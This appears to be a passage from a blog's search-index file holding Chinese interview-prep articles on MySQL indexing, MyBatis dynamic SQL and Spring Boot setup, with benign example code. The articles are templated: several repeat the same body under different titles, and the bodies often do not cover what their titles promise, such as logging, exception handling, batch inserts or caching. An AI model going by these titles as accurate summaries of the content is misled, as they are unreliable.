class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：MySQL-索引设计的几个核心原则"><a href="#面试：MySQL-索引设计的几个核心原则" class="headerlink" title="面试：MySQL 索引设计的几个核心原则"></a>面试：MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：MyBatis-批量插入和性能优化"><a href="#面试：MyBatis-批量插入和性能优化" class="headerlink" title="面试：MyBatis 批量插入和性能优化"></a>面试：MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：MyBatis-动态-SQL-的正确写法"><a href="#面试：MyBatis-动态-SQL-的正确写法" class="headerlink" title="面试：MyBatis 动态 SQL 的正确写法"></a>面试：MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：MyBatis-一级缓存和二级缓存怎么理解"><a href="#面试：MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="面试：MyBatis 一级缓存和二级缓存怎么理解"></a>面试：MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-Boot-日志配置和链路排查"><a href="#面试：Spring-Boot-日志配置和链路排查" class="headerlink" title="面试：Spring Boot 日志配置和链路排查"></a>面试：Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-Boot-参数校验和返回值封装"><a href="#面试：Spring-Boot-参数校验和返回值封装" class="headerlink" title="面试：Spring Boot 参数校验和返回值封装"></a>面试：Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-Boot-统一异常处理实践"><a href="#面试：Spring-Boot-统一异常处理实践" class="headerlink" title="面试：Spring Boot 统一异常处理实践"></a>面试：Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>面试：Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="面试：Spring-Boot-配置分环境的标准做法"><a href="#面试：Spring-Boot-配置分环境的标准做法" class="headerlink" title="面试：Spring Boot 配置分环境的标准做法"></a>面试：Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span 